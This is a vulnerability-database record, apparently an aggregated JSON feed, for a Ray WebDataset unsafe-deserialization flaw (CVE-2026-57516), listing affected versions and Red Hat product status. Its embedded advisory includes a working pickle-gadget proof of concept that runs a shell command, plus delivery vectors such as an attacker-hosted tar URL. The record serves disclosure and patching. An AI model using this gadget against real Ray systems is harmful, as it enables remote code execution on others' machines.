{"id":"CVE-2026-57516","aliases":["GHSA-hhrp-gw25-jr43","PYSEC-2026-2273"],"summary":"Ray < 2.56.0 Unsafe Deserialization RCE via WebDataset Reader","published_at":"2026-07-01T16:36:55.765Z","modified_at":"2026-11-08T14:06:30.686Z","products":[],"rating":{"severity":"high","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","attack_path":"internet_unauthenticated","user_interaction":true,"malicious":false,"red_hat":"Important","vendor_ratings":[{"source":"Red Hat","rating":"Important"}]},"fix_available":false,"kev":{"listed":false,"ransomware":false},"public_exploit":false,"exploits":[],"epss":{"score":0.010889999568462372,"percentile":0.6607800126075745,"date":"2026-11-19T00:00:00Z"},"priority":10.3,"details":"Ray prior to 2.56.0 contains an unsafe deserialization vulnerability in the WebDataset reader that allows attackers to achieve remote code execution by supplying a malicious tar archive to the read_webdataset() function. The _default_decoder() function in webdataset_datasource.py unconditionally calls pickle.loads() on tar entries with .pkl/.pickle extensions and torch.load() with weights_only=False on .pt/.pth entries, executing arbitrary code inside Ray remote workers on every worker that processes the malicious archive.","affected_stack":[],"affected_other":[{"ecosystem":"CVE","package":"Anyscale, Inc/Ray","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.56.0"}]}],"fixed":["2.56.0"],"provider":"cvelistv5","source":"CVE-2026-57516","relation":"self"},{"ecosystem":"NVD","package":"anyscale:ray","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.56.0"}]}],"fixed":["2.56.0"],"provider":"nvd","source":"CVE-2026-57516","relation":"self"},{"ecosystem":"PyPI","package":"ray","purl":"pkg:pypi/ray","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.56.0"}]}],"versions":["0.1.1","0.1.2","0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.4.0","0.5.0","0.5.2","0.5.3","0.6.0","0.6.1","0.6.2","0.6.3","0.6.4","0.6.5","0.6.6","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","1.0.0","1.0.1","1.1.0","1.10.0","1.11.0","1.11.1","1.12.0","1.12.1","1.13.0","1.2.0","1.3.0","1.4.0","1.4.1","1.5.0","1.5.1","1.5.2","1.6.0","1.7.0","1.7.1","1.8.0","1.9.0","1.9.1","1.9.2","2.0.0","2.0.1","2.1.0","2.10.0","2.11.0","2.12.0","2.2.0","2.20.0","2.21.0","2.22.0","2.23.0","2.24.0","2.3.0","2.3.0rc0","2.3.1","2.30.0","2.31.0","2.32.0","2.32.0rc0","2.33.0","2.34.0","2.35.0","2.36.0","2.36.1","2.37.0","2.38.0","2.39.0","2.4.0","2.40.0","2.41.0","2.42.0","2.42.1","2.43.0","2.44.0","2.44.1","2.45.0","2.46.0","2.47.0","2.47.1","2.48.0","2.49.0","2.49.1","2.49.2","2.5.0","2.5.1","2.50.0","2.50.1","2.51.0","2.51.1","2.51.2","2.52.0","2.52.1","2.53.0","2.54.0","2.54.1","2.55.0","2.55.1","2.6.0","2.6.1","2.6.2","2.6.3","2.7.0","2.7.0rc0","2.7.1","2.7.2","2.8.0","2.8.1","2.9.0","2.9.1","2.9.2","2.9.3"],"fixed":["2.56.0"],"provider":"osv","source":"GHSA-hhrp-gw25-jr43","relation":"self"},{"ecosystem":"PyPI","package":"ray","purl":"pkg:pypi/ray","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.56.0"}]}],"versions":["0.1.1","0.1.2","0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.4.0","0.5.0","0.5.2","0.5.3","0.6.0","0.6.1","0.6.2","0.6.3","0.6.4","0.6.5","0.6.6","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","1.0.0","1.0.1","1.1.0","1.10.0","1.11.0","1.11.1","1.12.0","1.12.1","1.13.0","1.2.0","1.3.0","1.4.0","1.4.1","1.5.0","1.5.1","1.5.2","1.6.0","1.7.0","1.7.1","1.8.0","1.9.0","1.9.1","1.9.2","2.0.0","2.0.1","2.1.0","2.10.0","2.11.0","2.12.0","2.2.0","2.20.0","2.21.0","2.22.0","2.23.0","2.24.0","2.3.0","2.3.0rc0","2.3.1","2.30.0","2.31.0","2.32.0","2.32.0rc0","2.33.0","2.34.0","2.35.0","2.36.0","2.36.1","2.37.0","2.38.0","2.39.0","2.4.0","2.40.0","2.41.0","2.42.0","2.42.1","2.43.0","2.44.0","2.44.1","2.45.0","2.46.0","2.47.0","2.47.1","2.48.0","2.49.0","2.49.1","2.49.2","2.5.0","2.5.1","2.50.0","2.50.1","2.51.0","2.51.1","2.51.2","2.52.0","2.52.1","2.53.0","2.54.0","2.54.1","2.55.0","2.55.1","2.6.0","2.6.1","2.6.2","2.6.3","2.7.0","2.7.0rc0","2.7.1","2.7.2","2.8.0","2.8.1","2.9.0","2.9.1","2.9.2","2.9.3"],"fixed":["2.56.0"],"provider":"osv","source":"PYSEC-2026-2273","relation":"self"}],"product_status":[{"vendor":"Red Hat","product":"Red Hat AI Inference Server","cpe":"cpe:/a:redhat:ai_inference_server:3","status":"affected","packages":["rhaii/vllm-gaudi-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"Will not fix","provider":"redhat-vex","source":"CVE-2026-57516"},{"vendor":"Red Hat","product":"Red Hat AI Inference Server 3.2","cpe":"cpe:/a:redhat:ai_inference_server:3.2::el9","status":"fixed","packages":["rhaiis/vllm-cuda-rhel9"],"package_count":1,"fixed":[],"advisories":["RHSA-2026:61627"],"provider":"redhat-vex","source":"CVE-2026-57516"},{"vendor":"Red Hat","product":"Red Hat AI Inference Server 3.3","cpe":"cpe:/a:redhat:ai_inference_server:3.3::el9","status":"fixed","packages":["rhaiis/vllm-cuda-rhel9"],"package_count":1,"fixed":[],"advisories":["RHSA-2026:68699"],"provider":"redhat-vex","source":"CVE-2026-57516"},{"vendor":"Red Hat","product":"Red Hat Enterprise Linux AI (RHEL AI) 3","cpe":"cpe:/a:redhat:enterprise_linux_ai:3","status":"affected","packages":["rhelai3/bootc-gaudi-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"Will not fix","provider":"redhat-vex","source":"CVE-2026-57516"},{"vendor":"Red Hat","product":"Red Hat Enterprise Linux AI 3.3","cpe":"cpe:/a:redhat:enterprise_linux_ai:3.3::el9","status":"fixed","packages":["rhelai3/bootc-aws-cuda-rhel9","rhelai3/bootc-azure-cuda-rhel9","rhelai3/bootc-cuda-rhel9","rhelai3/bootc-gcp-cuda-rhel9","rhelai3/disk-image-cuda-rhel9"],"package_count":5,"fixed":[],"advisories":["RHSA-2026:76041","RHSA-2026:76043"],"provider":"redhat-vex","source":"CVE-2026-57516"},{"vendor":"Red Hat","product":"Red Hat Enterprise Linux AI 3.3","cpe":"cpe:/a:redhat:enterprise_linux_ai:3.3::el9","status":"not_affected","packages":["rhelai3/bootc-azure-rocm-rhel9","rhelai3/bootc-rocm-rhel9"],"package_count":2,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-57516"},{"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","cpe":"cpe:/a:redhat:openshift_ai","status":"not_affected","packages":["rhoai/odh-kserve-agent-rhel9","rhoai/odh-kserve-controller-rhel9","rhoai/odh-kserve-router-rhel9","rhoai/odh-kserve-storage-initializer-rhel9"],"package_count":4,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-57516"},{"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","cpe":"cpe:/a:redhat:openshift_ai","status":"not_affected","packages":["rhoai/odh-vllm-gaudi-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"component_not_present","provider":"redhat-vex","source":"CVE-2026-57516"},{"vendor":"Red Hat","product":"Red Hat OpenShift AI 3.4","cpe":"cpe:/a:redhat:openshift_ai:3.4::el9","status":"fixed","packages":["rhoai/odh-pipeline-runtime-datascience-cpu-py312-rhel9","rhoai/odh-pipeline-runtime-pytorch-cuda-py312-rhel9","rhoai/odh-pipeline-runtime-pytorch-rocm-py312-rhel9","rhoai/odh-pipeline-runtime-tensorflow-cuda-py312-rhel9","rhoai/odh-pipeline-runtime-tensorflow-rocm-py312-rhel9","rhoai/odh-workbench-jupyter-datascience-cpu-py312-rhel9","rhoai/odh-workbench-jupyter-pytorch-cuda-py312-rhel9","rhoai/odh-workbench-jupyter-pytorch-llmcompressor-cuda-py312-rhel9","rhoai/odh-workbench-jupyter-pytorch-rocm-py312-rhel9","rhoai/odh-workbench-jupyter-tensorflow-cuda-py312-rhel9","rhoai/odh-workbench-jupyter-tensorflow-rocm-py312-rhel9","rhoai/odh-workbench-jupyter-trustyai-cpu-py312-rhel9"],"package_count":12,"fixed":[],"advisories":["RHSA-2026:92510"],"provider":"redhat-vex","source":"CVE-2026-57516"},{"vendor":"Red Hat","product":"Red Hat OpenShift AI 3.4","cpe":"cpe:/a:redhat:openshift_ai:3.4::el9","status":"not_affected","packages":["rhoai/odh-ai-gateway-payload-processing-rhel9","rhoai/odh-automl-rhel9","rhoai/odh-autorag-rhel9","rhoai/odh-built-in-detector-rhel9","rhoai/odh-cli-rhel9","rhoai/odh-dashboard-rhel9","rhoai/odh-data-science-pipelines-argo-argoexec-rhel9","rhoai/odh-data-science-pipelines-argo-workflowcontroller-rhel9","rhoai/odh-data-science-pipelines-operator-controller-rhel9","rhoai/odh-eval-hub-rhel9","rhoai/odh-feast-operator-rhel9","rhoai/odh-feature-server-rhel9","rhoai/odh-fms-guardrails-orchestrator-rhel9","rhoai/odh-guardrails-detector-huggingface-runtime-rhel9","rhoai/odh-kf-notebook-controller-rhel9","rhoai/odh-kserve-agent-rhel9","rhoai/odh-kserve-autogluon-server-rhel9","rhoai/odh-kserve-controller-rhel9","rhoai/odh-kserve-llmisvc-controller-rhel9","rhoai/odh-kserve-router-rhel9","rhoai/odh-kserve-storage-initializer-rhel9","rhoai/odh-kube-auth-proxy-rhel9","rhoai/odh-kuberay-operator-controller-rhel9","rhoai/odh-llama-stack-core-rhel9","rhoai/odh-llama-stack-k8s-operator-rhel9"],"package_count":94,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-57516"}],"records":[{"provider":"cvelistv5","source_id":"CVE-2026-57516","relation":"self","url":"https://www.cve.org/CVERecord?id=CVE-2026-57516","license":"CC-BY-4.0","published_at":"2026-07-01T16:36:55.765Z","modified_at":"2026-11-08T14:06:30.686Z","summary":"Ray < 2.56.0 Unsafe Deserialization RCE via WebDataset Reader","details":"Ray prior to 2.56.0 contains an unsafe deserialization vulnerability in the WebDataset reader that allows attackers to achieve remote code execution by supplying a malicious tar archive to the read_webdataset() function. The _default_decoder() function in webdataset_datasource.py unconditionally calls pickle.loads() on tar entries with .pkl/.pickle extensions and torch.load() with weights_only=False on .pt/.pth entries, executing arbitrary code inside Ray remote workers on every worker that processes the malicious archive.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"CVE-2026-57516"},{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","source":"CVE-2026-57516"}],"affected":[{"ecosystem":"CVE","package":"Anyscale, Inc/Ray","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.56.0"}]}],"fixed":["2.56.0"],"provider":"cvelistv5","source":"CVE-2026-57516","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/ray-project/ray/releases/tag/ray-2.56.0"},{"type":"ADVISORY","url":"https://github.com/ray-project/ray/security/advisories/GHSA-hhrp-gw25-jr43"},{"type":"FIX","url":"https://github.com/ray-project/ray/pull/63469"},{"type":"FIX","url":"https://github.com/ray-project/ray/pull/63470"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/ray-unsafe-deserialization-rce-via-webdataset-reader"}]},{"provider":"nvd","source_id":"CVE-2026-57516","relation":"self","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57516","severity":[],"affected":[{"ecosystem":"NVD","package":"anyscale:ray","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.56.0"}]}],"fixed":["2.56.0"],"provider":"nvd","source":"CVE-2026-57516","relation":"self"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"GHSA-hhrp-gw25-jr43","relation":"self","url":"https://osv.dev/vulnerability/GHSA-hhrp-gw25-jr43","license":"CC-BY-4.0","published_at":"2026-07-24T15:47:38Z","modified_at":"2026-09-10T03:50:52.42794Z","summary":"Ray: Arbitrary code execution via ray.data.read_webdataset default decoder: pickle.loads(value) and torch.load(weights_only=False)","details":"## Summary\n\n`ray.data.read_webdataset(paths=...)` is a `@PublicAPI(stability=\"alpha\")`\nreader for WebDataset-format TAR files. Its default `decoder=True` invokes\n`_default_decoder` on every sample's keys, which routes file extension to a\ndecoder by extension. Two of those branches deserialize attacker-controlled\nbytes with no validation:\n\n- `.pickle` / `.pkl` -> `pickle.loads(value)`\n- `.pt`     / `.pth` -> `torch.load(io.BytesIO(value), weights_only=False)`\n\nBoth fire during a standard `ray.data.read_webdataset(...).take_all()` /\n`.iter_batches()` call. No flags, no opt-in, no environment variable.\nAn attacker who can supply a TAR (via S3 share, HuggingFace Hub mirror,\nemail attachment, model-zoo, or any HTTP URL the user passes to\n`read_webdataset`) achieves arbitrary code execution in the calling\nRay process at schema-sample time, before row data is consumed.\n\nThis is the same class of bug as GHSA-mw35-8rx3-xf9r (Parquet Arrow\nExtension Type cloudpickle deserialization, patched in 2.55.0): standard\ndata-loading API, attacker-controlled file format, deserialization gadget\ninvoked transparently. The 2.55.0 patch addressed\n`tensor_extensions/arrow.py:_deserialize_with_fallback` and made cloudpickle\nopt-in via `RAY_DATA_AUTOLOAD_CLOUDPICKLE_TENSOR_METADATA=1`. The\nWebDataset path is a different code site and was not touched.\n\n## Vulnerable code (HEAD `a157d4d`)\n\n`python/ray/data/_internal/datasource/webdataset_datasource.py` lines\n175-225, the `_default_decoder` function:\n\n```python\ndef _default_decoder(sample, format=True):\n    sample = dict(sample)\n    for key, value in sample.items():\n        extension = key.split(\".\")[-1]\n        ...\n        elif extension in [\"pt\", \"pth\"]:\n            import torch\n            # PyTorch 2.6 changed torch.load default weights_only=True, which\n            # breaks loading general Python objects previously serialized for\n            # WebDataset .pt payloads.\n            sample[key] = torch.load(io.BytesIO(value), weights_only=False)   # line 219\n        elif extension in [\"pickle\", \"pkl\"]:\n            import pickle\n            sample[key] = pickle.loads(value)                                 # line 223\n    return sample\n```\n\nThe comment for the `.pt/.pth` branch is itself a security smell: it\ndocuments that the maintainer chose `weights_only=False` *to override*\nPyTorch 2.6's safer default. The comment treats this as a compatibility\nfix; it functionally re-enables an arbitrary-code-execution path that\nupstream PyTorch closed.\n\n## Reachability and default-on confirmation\n\n`python/ray/data/read_api.py:2289` defines `read_webdataset` with default\n`decoder=True`:\n\n```python\n@PublicAPI(stability=\"alpha\")\ndef read_webdataset(\n    paths,\n    *,\n    ...\n    decoder: Optional[Union[bool, str, callable, list]] = True,\n    ...\n) -> Dataset:\n    ...\n    datasource = WebDatasetDatasource(paths, decoder=decoder, ...)\n```\n\n`WebDatasetDatasource._read_stream` (line 367) calls the decoder\nunconditionally when not None:\n\n```python\nfor sample in samples:\n    if self.decoder is not None:\n        sample = _apply_list(self.decoder, sample, default=_default_decoder)\n```\n\n`True is not None` evaluates True, so the default decoder fires for every\ninvocation that doesn't explicitly pass `decoder=None` (or a custom safe\ndecoder). The documentation does not warn about the behavior.\n\n## End-to-end reproduction\n\nTested on a fresh venv (`pip install ray[data]`) on Linux x86_64. Ray\nreports `__version__ == \"2.55.1\"` (the patched-against-GHSA-mw35 release):\n\n```python\nimport io, os, pickle, subprocess, tarfile, tempfile, sys\n\nMARKER = \"/tmp/ray_webdataset_poc_rce_marker\"\n\nclass Gadget:\n    def __reduce__(self):\n        cmd = (f\"/bin/sh -c \\\"printf 'RCE via ray.data.read_webdataset\\\\n\"\n               f\"pid=%s\\\\nuser=%s\\\\n' \\\"$$\\\" \\\"$(whoami)\\\" > {MARKER}\\\"\")\n        return (os.system, (cmd,))\n\nwith tempfile.NamedTemporaryFile(suffix=\".tar\", delete=False) as f:\n    tar_path = f.name\nwith tarfile.open(tar_path, \"w\") as tar:\n    for name, body in ((\"000000.txt\", b\"hello\"),\n                       (\"000000.pkl\", pickle.dumps(Gadget()))):\n        ti = tarfile.TarInfo(name=name); ti.size = len(body)\n        tar.addfile(ti, io.BytesIO(body))\n\nimport ray, ray.data\nray.init(num_cpus=2, ignore_reinit_error=True, log_to_driver=False)\nds = ray.data.read_webdataset(paths=[tar_path])\nrows = ds.take_all()\nassert os.path.exists(MARKER), \"no RCE\"\nprint(open(MARKER).read())\n```\n\nOutput:\n\n```\nray version: 2.55.1\ncrafted /tmp/tmpjpos115h.tar (10240 bytes)\nds.take_all() returned 1 row(s)\nRCE CONFIRMED:marker at /tmp/ray_webdataset_poc_rce_marker:\n    RCE via ray.data.read_webdataset\n    pid=248816\n    user=xyz\n```\n\nThe `.pt/.pth` variant is the exact same primitive against the\n`torch.load(io.BytesIO(value), weights_only=False)` branch; replace the\nTAR member with `000000.pt` containing `torch.save(Gadget())` to reproduce.\n\n## Real-world delivery vectors\n\n- `paths=[\"s3://bucket/poisoned.tar\"]` -- the user thinks they are reading\n  a WebDataset shard; the bucket is shared, mis-permissioned, or\n  compromised.\n- `paths=[\"https://attacker/model.tar\"]` -- HTTP-served WebDataset.\n- HuggingFace Hub -- WebDataset is a recognized HF dataset format; users\n  pull TAR shards via `datasets` and feed them to Ray Data.\n- Model-zoo / leaderboard tarballs -- common in CV/ASR workflows.\n\n## Why GHSA-mw35 doesn't cover this\n\nGHSA-mw35-8rx3-xf9r patched `tensor_extensions/arrow.py:_deserialize_with_fallback`\nby gating `cloudpickle.loads` behind\n`RAY_DATA_AUTOLOAD_CLOUDPICKLE_TENSOR_METADATA=1`. That change touches\nthe Parquet ExtensionType deserialization path only. The advisory text\ndoes not mention WebDataset, the WebDataset code is in a different\nmodule, and the unsafe loads here use `pickle.loads` and\n`torch.load(weights_only=False)` (not `cloudpickle.loads`).\n\n## Suggested patch\n\nTwo minimal options, both Ray-internal:\n\n1. **Make the unsafe extensions opt-in**, mirroring the GHSA-mw35 fix\n   pattern. Replace the `.pt/.pth` and `.pkl/.pickle` branches with a\n   guard:\n\n   ```python\n   import os\n   _ALLOW_UNSAFE = os.environ.get(\n       \"RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE\", \"0\"\n   ) == \"1\"\n\n   elif extension in [\"pt\", \"pth\"]:\n       if not _ALLOW_UNSAFE:\n           raise ValueError(\n               f\"Refusing to load .pt/.pth member {key!r} from WebDataset \"\n               f\"with weights_only=False. Set \"\n               f\"RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE=1 only for trusted \"\n               f\"sources.\"\n           )\n       sample[key] = torch.load(io.BytesIO(value), weights_only=False)\n\n   elif extension in [\"pickle\", \"pkl\"]:\n       if not _ALLOW_UNSAFE:\n           raise ValueError(\n               f\"Refusing to unpickle WebDataset member {key!r} -- \"\n               f\"untrusted pickle is RCE. Provide your own decoder \"\n               f\"or set RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE=1 for \"\n               f\"trusted sources.\"\n           )\n       sample[key] = pickle.loads(value)\n   ```\n\n2. **Drop these branches from the default decoder entirely** and require\n   callers to provide their own decoder when working with .pkl/.pt\n   samples. This is the safer default, matches WebDataset upstream's\n   guidance (\"by default, use safe decoders\"), and is consistent with\n   the spirit of the GHSA-mw35 patch.\n\nEither option flips the default-on RCE primitive into an explicit\nopt-in. The current default-on behavior provides no signal to users\nthat calling `ray.data.read_webdataset` on an untrusted TAR is\nequivalent to running attacker code.\n\n## References\n\n- Source: `python/ray/data/_internal/datasource/webdataset_datasource.py:175-225`\n- Public API: `python/ray/data/read_api.py:2287-2370` (`read_webdataset`)\n- Sibling advisory of the same class: GHSA-mw35-8rx3-xf9r (Parquet\n  Arrow Extension Type, patched 2.55.0)\n- Earlier related advisory: PR #45084 (2024) fixed PyExtensionType\n  cloudpickle but did not touch the WebDataset decoder.\n- WebDataset format: https://github.com/webdataset/webdataset","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","source":"GHSA-hhrp-gw25-jr43"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"GHSA-hhrp-gw25-jr43"}],"affected":[{"ecosystem":"PyPI","package":"ray","purl":"pkg:pypi/ray","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.56.0"}]}],"versions":["0.1.1","0.1.2","0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.4.0","0.5.0","0.5.2","0.5.3","0.6.0","0.6.1","0.6.2","0.6.3","0.6.4","0.6.5","0.6.6","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","1.0.0","1.0.1","1.1.0","1.10.0","1.11.0","1.11.1","1.12.0","1.12.1","1.13.0","1.2.0","1.3.0","1.4.0","1.4.1","1.5.0","1.5.1","1.5.2","1.6.0","1.7.0","1.7.1","1.8.0","1.9.0","1.9.1","1.9.2","2.0.0","2.0.1","2.1.0","2.10.0","2.11.0","2.12.0","2.2.0","2.20.0","2.21.0","2.22.0","2.23.0","2.24.0","2.3.0","2.3.0rc0","2.3.1","2.30.0","2.31.0","2.32.0","2.32.0rc0","2.33.0","2.34.0","2.35.0","2.36.0","2.36.1","2.37.0","2.38.0","2.39.0","2.4.0","2.40.0","2.41.0","2.42.0","2.42.1","2.43.0","2.44.0","2.44.1","2.45.0","2.46.0","2.47.0","2.47.1","2.48.0","2.49.0","2.49.1","2.49.2","2.5.0","2.5.1","2.50.0","2.50.1","2.51.0","2.51.1","2.51.2","2.52.0","2.52.1","2.53.0","2.54.0","2.54.1","2.55.0","2.55.1","2.6.0","2.6.1","2.6.2","2.6.3","2.7.0","2.7.0rc0","2.7.1","2.7.2","2.8.0","2.8.1","2.9.0","2.9.1","2.9.2","2.9.3"],"fixed":["2.56.0"],"provider":"osv","source":"GHSA-hhrp-gw25-jr43","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/ray-project/ray/security/advisories/GHSA-hhrp-gw25-jr43"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57516"},{"type":"WEB","url":"https://github.com/ray-project/ray/pull/63469"},{"type":"WEB","url":"https://github.com/ray-project/ray/pull/63470"},{"type":"WEB","url":"https://github.com/ray-project/ray/commit/41443a18f9e6403a072de69098a279c23e2d943c"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ray/PYSEC-2026-2273.yaml"},{"type":"PACKAGE","url":"https://github.com/ray-project/ray"},{"type":"WEB","url":"https://github.com/ray-project/ray/releases/tag/ray-2.56.0"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/ray-unsafe-deserialization-rce-via-webdataset-reader"}]},{"provider":"osv","source_id":"PYSEC-2026-2273","relation":"self","url":"https://osv.dev/vulnerability/PYSEC-2026-2273","license":"CC-BY-4.0","published_at":"2026-07-01T17:16:37.39Z","modified_at":"2026-07-13T07:15:44.097966Z","details":"Ray prior to 2.56.0 contains an unsafe deserialization vulnerability in the WebDataset reader that allows attackers to achieve remote code execution by supplying a malicious tar archive to the read_webdataset() function. The _default_decoder() function in webdataset_datasource.py unconditionally calls pickle.loads() on tar entries with .pkl/.pickle extensions and torch.load() with weights_only=False on .pt/.pth entries, executing arbitrary code inside Ray remote workers on every worker that processes the malicious archive.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","source":"PYSEC-2026-2273"}],"affected":[{"ecosystem":"PyPI","package":"ray","purl":"pkg:pypi/ray","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.56.0"}]}],"versions":["0.1.1","0.1.2","0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.4.0","0.5.0","0.5.2","0.5.3","0.6.0","0.6.1","0.6.2","0.6.3","0.6.4","0.6.5","0.6.6","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","1.0.0","1.0.1","1.1.0","1.10.0","1.11.0","1.11.1","1.12.0","1.12.1","1.13.0","1.2.0","1.3.0","1.4.0","1.4.1","1.5.0","1.5.1","1.5.2","1.6.0","1.7.0","1.7.1","1.8.0","1.9.0","1.9.1","1.9.2","2.0.0","2.0.1","2.1.0","2.10.0","2.11.0","2.12.0","2.2.0","2.20.0","2.21.0","2.22.0","2.23.0","2.24.0","2.3.0","2.3.0rc0","2.3.1","2.30.0","2.31.0","2.32.0","2.32.0rc0","2.33.0","2.34.0","2.35.0","2.36.0","2.36.1","2.37.0","2.38.0","2.39.0","2.4.0","2.40.0","2.41.0","2.42.0","2.42.1","2.43.0","2.44.0","2.44.1","2.45.0","2.46.0","2.47.0","2.47.1","2.48.0","2.49.0","2.49.1","2.49.2","2.5.0","2.5.1","2.50.0","2.50.1","2.51.0","2.51.1","2.51.2","2.52.0","2.52.1","2.53.0","2.54.0","2.54.1","2.55.0","2.55.1","2.6.0","2.6.1","2.6.2","2.6.3","2.7.0","2.7.0rc0","2.7.1","2.7.2","2.8.0","2.8.1","2.9.0","2.9.1","2.9.2","2.9.3"],"fixed":["2.56.0"],"provider":"osv","source":"PYSEC-2026-2273","relation":"self"}],"product_status":[],"references":[{"type":"ADVISORY","url":"https://github.com/ray-project/ray/releases/tag/ray-2.56.0"},{"type":"ADVISORY","url":"https://www.vulncheck.com/advisories/ray-unsafe-deserialization-rce-via-webdataset-reader"},{"type":"FIX","url":"https://github.com/ray-project/ray/pull/63469"},{"type":"FIX","url":"https://github.com/ray-project/ray/pull/63470"},{"type":"FIX","url":"https://github.com/ray-project/ray/security/advisories/GHSA-hhrp-gw25-jr43"}]},{"provider":"redhat-vex","source_id":"CVE-2026-57516","relation":"self","url":"https://access.redhat.com/security/cve/CVE-2026-57516","license":"CC-BY-4.0","published_at":"2026-07-01T16:36:55.765Z","modified_at":"2026-08-11T11:24:16.254825Z","summary":"ray: Ray: Remote code execution via unsafe deserialization in WebDataset reader","details":"A flaw was found in Ray. This unsafe deserialization vulnerability in the WebDataset reader allows a remote attacker to achieve arbitrary code execution. By supplying a specially crafted malicious tar archive to the read_webdataset() function, an attacker can trigger the unconditional deserialization of .pkl/.pickle or .pt/.pth entries, leading to the execution of arbitrary code within Ray remote workers.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","source":"CVE-2026-57516"},{"type":"Red Hat","score":"Important","source":"CVE-2026-57516"}],"affected":[],"product_status":[{"vendor":"Red Hat","product":"Red Hat AI Inference Server","cpe":"cpe:/a:redhat:ai_inference_server:3","status":"affected","packages":["rhaii/vllm-gaudi-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"Will not fix","provider":"redhat-vex","source":"CVE-2026-57516"},{"vendor":"Red Hat","product":"Red Hat AI Inference Server 3.2","cpe":"cpe:/a:redhat:ai_inference_server:3.2::el9","status":"fixed","packages":["rhaiis/vllm-cuda-rhel9"],"package_count":1,"fixed":[],"advisories":["RHSA-2026:61627"],"provider":"redhat-vex","source":"CVE-2026-57516"},{"vendor":"Red Hat","product":"Red Hat AI Inference Server 3.3","cpe":"cpe:/a:redhat:ai_inference_server:3.3::el9","status":"fixed","packages":["rhaiis/vllm-cuda-rhel9"],"package_count":1,"fixed":[],"advisories":["RHSA-2026:68699"],"provider":"redhat-vex","source":"CVE-2026-57516"},{"vendor":"Red Hat","product":"Red Hat Enterprise Linux AI (RHEL AI) 3","cpe":"cpe:/a:redhat:enterprise_linux_ai:3","status":"affected","packages":["rhelai3/bootc-gaudi-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"Will not fix","provider":"redhat-vex","source":"CVE-2026-57516"},{"vendor":"Red Hat","product":"Red Hat Enterprise Linux AI 3.3","cpe":"cpe:/a:redhat:enterprise_linux_ai:3.3::el9","status":"fixed","packages":["rhelai3/bootc-aws-cuda-rhel9","rhelai3/bootc-azure-cuda-rhel9","rhelai3/bootc-cuda-rhel9","rhelai3/bootc-gcp-cuda-rhel9","rhelai3/disk-image-cuda-rhel9"],"package_count":5,"fixed":[],"advisories":["RHSA-2026:76041","RHSA-2026:76043"],"provider":"redhat-vex","source":"CVE-2026-57516"},{"vendor":"Red Hat","product":"Red Hat Enterprise Linux AI 